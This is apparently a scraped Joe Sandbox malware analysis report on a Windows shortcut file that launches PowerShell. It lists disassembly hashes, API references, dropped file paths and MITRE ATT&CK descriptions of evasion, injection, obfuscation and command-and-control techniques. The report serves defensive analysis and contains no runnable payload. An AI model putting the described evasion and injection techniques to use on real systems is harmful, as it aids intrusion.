Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID: CreateFile
String ID: p[
API String ID: 823142352-2643120810
Opcode ID: 0fcb830399a5985bc5e664c5b6b17ac1a061dc3af3a86de5bef8eb04e9073779
Instruction ID: 4c9c431916ed7392f2ccbc9880914f37c97ed9bd99276a79c955616ba7cf7349
Opcode Fuzzy Hash: 0fcb830399a5985bc5e664c5b6b17ac1a061dc3af3a86de5bef8eb04e9073779
Instruction Fuzzy Hash: 8071F57190DA498FE758DB6CD84A6B97BE0FF59324F0442BFE04DD7292DB24A80687C1

Function 00007FFAAC4845DA Relevance: 1.6, APIs: 1, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FFAAC48D6CE

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eb1273d326e3820228fd768780aa0dc83254307177dcd457df0615641f6f7165
Instruction ID: 52e16225df2f551e1f55223d8f800ac6422a8413d754e262e145850ef772c25c
Opcode Fuzzy Hash: eb1273d326e3820228fd768780aa0dc83254307177dcd457df0615641f6f7165
Instruction Fuzzy Hash: AD31807191CA1C9FDB58EF58D849AF97BE0FB69321F10422EE04EE3251CB71A9058BC5

Function 00007FFAAC4845EA Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE ref: 00007FFAAC4CFCD5

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 81b60499c08e8c82a804a794d10570f125011b4792410e7ca6f7363a8d9b032c
Instruction ID: 97cd65ffa43a160653f9e3cc3a3b104d9244b70342463990b893b1130d222353
Opcode Fuzzy Hash: 81b60499c08e8c82a804a794d10570f125011b4792410e7ca6f7363a8d9b032c
Instruction Fuzzy Hash: CB21A471A0CA0C9FEB58DB58D449BF9B7E0FB55321F00412ED04ED3651DB75A816CB81

Function 00007FFAAC5515DD Relevance: .7, Instructions: 673
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1476250150.00007FFAAC550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac550000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1154cee72753838b8f077f25b775e6348272ad8ca7963d21dfd24685b29e8231
Instruction ID: 6c428e8a011c2a73d3142869c9a8ded35055b2260608f891d1910e03c64272d5
Opcode Fuzzy Hash: 1154cee72753838b8f077f25b775e6348272ad8ca7963d21dfd24685b29e8231
Instruction Fuzzy Hash: AA12F462D4EBCA5FE356972858255B57FE5EF43210B0981FFE08EC70A3D9199C0A8392

Non-executed Functions

Function 00007FFAAC48EDE0 Relevance: 24.7, Strings: 18, Instructions: 2203COMMON

Download Yara Rule

Strings

0#, xrefs: 00007FFAAC4BB142
}, xrefs: 00007FFAAC4BA5F4
}, xrefs: 00007FFAAC4BA5CA
8h, xrefs: 00007FFAAC4BAB28
x!, xrefs: 00007FFAAC4BB15D
uW_I, xrefs: 00007FFAAC4BAED3
8h, xrefs: 00007FFAAC4BAB10
0X, xrefs: 00007FFAAC4BB18F
0X, xrefs: 00007FFAAC4BB1AD
yL_L, xrefs: 00007FFAAC4BAB72
~W_I, xrefs: 00007FFAAC4BA5D4
xL_L, xrefs: 00007FFAAC4BACEF
8h, xrefs: 00007FFAAC4BAB3A
}, xrefs: 00007FFAAC4BA5E2
x!, xrefs: 00007FFAAC4BB174
Xk, xrefs: 00007FFAAC4BA35E
0#, xrefs: 00007FFAAC4BB12B
Xk, xrefs: 00007FFAAC4BA313

Memory Dump Source

Source File: 0000000A.00000002.1475117820.00007FFAAC480000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac480000_powershell.jbxd

Similarity

API ID:
String ID: }$ }$ }$0#$0#$0X$0X$8h$8h$8h$Xk$Xk$uW_I$x!$x!$xL_L$yL_L$~W_I
API String ID: 0-179582078
Opcode ID: b690397efd4b3d0ddab495b33131b7057306825b1f7fedfabae572cd40037d3b
Instruction ID: d23a8b938e0aa958f52db04b4feabc4c0f19d80f194de1e9dd66e7de89b259ec
Opcode Fuzzy Hash: b690397efd4b3d0ddab495b33131b7057306825b1f7fedfabae572cd40037d3b
Instruction Fuzzy Hash: B4E23471A0DB068FFB98DB2C845AA7477D1EF66308B1481B9D44ED7293DE24EC4A87C4

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BX7yRz7XqF.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1dy3xtur.tes.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5onnppu0.p5k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pih2ij0y.e4u.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pwa5eyqo.qly.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q2ivsxxt.i2b.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rqjrxfv3.nua.ps1

Windows Analysis Report
BX7yRz7XqF.lnk